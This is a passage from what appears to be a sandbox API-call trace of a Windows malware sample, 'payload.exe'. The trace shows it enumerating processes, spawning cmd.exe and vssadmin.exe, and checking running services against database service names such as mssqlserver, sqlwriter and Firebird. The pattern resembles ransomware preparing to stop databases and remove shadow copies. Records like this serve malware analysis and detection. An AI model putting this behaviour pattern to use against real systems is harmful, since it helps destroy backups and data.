(lpString="svchost.exe") returned 11 [0141.141] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0141.141] lstrlenW (lpString="spoolsv.exe") returned 11 [0141.141] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.142] lstrlenW (lpString="svchost.exe") returned 11 [0141.142] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0141.143] lstrlenW (lpString="audiodg.exe") returned 11 [0141.143] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0141.144] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0141.144] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0141.195] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0141.195] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0141.196] lstrlenW (lpString="Memory Compression") returned 18 [0141.196] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0141.196] lstrlenW (lpString="sihost.exe") returned 10 [0141.196] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.197] lstrlenW (lpString="svchost.exe") returned 11 [0141.197] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0141.198] lstrlenW (lpString="taskhostw.exe") returned 13 [0141.198] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0141.199] lstrlenW (lpString="msoia.exe") returned 9 [0141.199] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0141.200] lstrlenW (lpString="explorer.exe") returned 12 [0141.200] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0141.201] lstrlenW (lpString="SearchUI.exe") returned 12 [0141.201] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0141.202] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0141.202] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0141.202] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0141.202] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0141.206] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0141.206] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0141.207] lstrlenW (lpString="payload.exe") returned 11 [0141.207] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0141.208] lstrlenW (lpString="cmd.exe") returned 7 [0141.208] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0141.209] lstrlenW (lpString="conhost.exe") returned 11 [0141.209] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0141.242] lstrlenW (lpString="vssadmin.exe") returned 12 [0141.242] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1a0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0141.243] lstrlenW (lpString="consent.exe") returned 11 [0141.243] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1a0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0141.244] CloseHandle (hObject=0x498) returned 1 [0141.244] Sleep (dwMilliseconds=0x1f4) [0142.012] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x443dea0 [0142.012] EnumServicesStatusExW (in: hSCManager=0x443dea0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0142.013] GetLastError () returned 0xea [0142.013] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1c30) returned 0x52eaeb8 [0142.013] EnumServicesStatusExW (in: hSCManager=0x443dea0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x52eaeb8, cbBufSize=0x1c30, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x52eaeb8, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0142.014] CloseServiceHandle (hSCObject=0x443dea0) returned 1 [0142.014] lstrlenW (lpString="Appinfo") returned 7 [0142.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0142.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0142.014] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0142.014] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0142.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0142.014] lstrlenW (lpString="AppXSvc") returned 7 [0142.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0142.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0142.015] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0142.015] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0142.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0142.015] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0142.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0142.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0142.015] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0142.015] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0142.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0142.015] lstrlenW (lpString="Audiosrv") returned 8 [0142.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0142.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0142.017] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0142.017] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0142.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0142.017] lstrlenW (lpString="BFE") returned 3 [0142.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0142.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0142.017] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0142.017] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0142.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0142.017] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0142.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0142.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0142.018] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0142.018] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0142.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0142.018] lstrlenW (lpString="CDPSvc") returned 6 [0142.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0142.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0142.018] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0142.018] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0142.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0142.018] lstrlenW (lpString="ClickToRunSvc") returned 13 [0142.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0142.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0142.018] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0142.018] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0142.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0142.018] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0142.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0142.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0142.018] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0142.018] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0142.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0142.018] lstrlenW (lpString="CryptSvc") returned 8 [0142.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0142.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0142.018] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0142.018] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0142.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0142.019] lstrlenW (lpString="DcomLaunch") returned 10 [0142.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0142.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0142.019] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0142.019] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0142.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0142.019] lstrlenW (lpString="DeviceAssociationService") returned 24 [0142.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0142.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0142.019] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0142.019] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0142.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0142.019] lstrlenW (lpString="Dhcp") returned 4 [0142.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0142.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0142.019] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0142.019] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0142.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0142.019] lstrlenW (lpString="Dnscache") returned 8 [0142.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0142.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0142.019] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0142.019] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0142.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0142.019] lstrlenW (lpString="DPS") returned 3 [0142.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0142.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0142.020] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0142.020] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0142.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0142.020] lstrlenW (lpString="DusmSvc") returned 7 [0142.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0142.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0142.020] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0142.020] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0142.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0142.020] lstrlenW (lpString="EventLog") returned 8 [0142.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0142.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0142.020] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0142.020] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0142.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0142.020] lstrlenW (lpString="EventSystem") returned 11 [0142.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0142.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0142.020] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0142.020] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0142.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0142.020] lstrlenW (lpString="FontCache") returned 9 [0142.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0142.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0142.020] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0142.020] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0142.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0142.021] lstrlenW (lpString="gpsvc") returned 5 [0142.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0142.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0142.021] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0142.021] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0142.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0142.021] lstrlenW (lpString="iphlpsvc") returned 8 [0142.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0142.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0142.021] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0142.021] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0142.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0142.021] lstrlenW (lpString="KeyIso") returned 6 [0142.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0142.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0142.021] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0142.021] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0142.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0142.021] lstrlenW (lpString="LanmanServer") returned 12 [0142.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0142.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0142.021] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0142.021] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0142.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0142.021] lstrlenW (lpString="LanmanWorkstation") returned 17 [0142.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0142.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0142.021] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0142.022] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0142.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0142.022] lstrlenW (lpString="lfsvc") returned 5 [0142.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0142.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0142.022] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0142.022] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0142.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0142.022] lstrlenW (lpString="lmhosts") returned 7 [0142.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0142.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0142.327] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0142.327] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0142.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0142.327] lstrlenW (lpString="LSM") returned 3 [0142.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0142.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0142.327] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0142.327] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0142.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0142.327] lstrlenW (lpString="MpsSvc") returned 6 [0142.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0142.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0142.328] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0142.328] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0142.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0142.328] lstrlenW (lpString="NcbService") returned 10 [0142.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0142.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0142.328] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0142.328] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0142.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0142.328] lstrlenW (lpString="netprofm") returned 8 [0142.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0142.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0142.328] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0142.328] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0142.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0142.328] lstrlenW (lpString="NgcSvc") returned 6 [0142.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0142.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0142.328] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0142.328] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0142.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0142.328] lstrlenW (lpString="NlaSvc") returned 6 [0142.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0142.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0142.328] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0142.328] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0142.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0142.328] lstrlenW (lpString="nsi") returned 3 [0142.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0142.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0142.329] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0142.329] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0142.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0142.329] lstrlenW (lpString="PcaSvc") returned 6 [0142.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0142.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0142.329] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0142.329] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0142.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0142.329] lstrlenW (lpString="PlugPlay") returned 8 [0142.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0142.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0142.329] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0142.329] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0142.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0142.329] lstrlenW (lpString="Power") returned 5 [0142.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0142.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0142.329] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0142.329] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0142.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0142.329] lstrlenW (lpString="ProfSvc") returned 7 [0142.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0142.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0142.329] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0142.329] lstrcmpiW 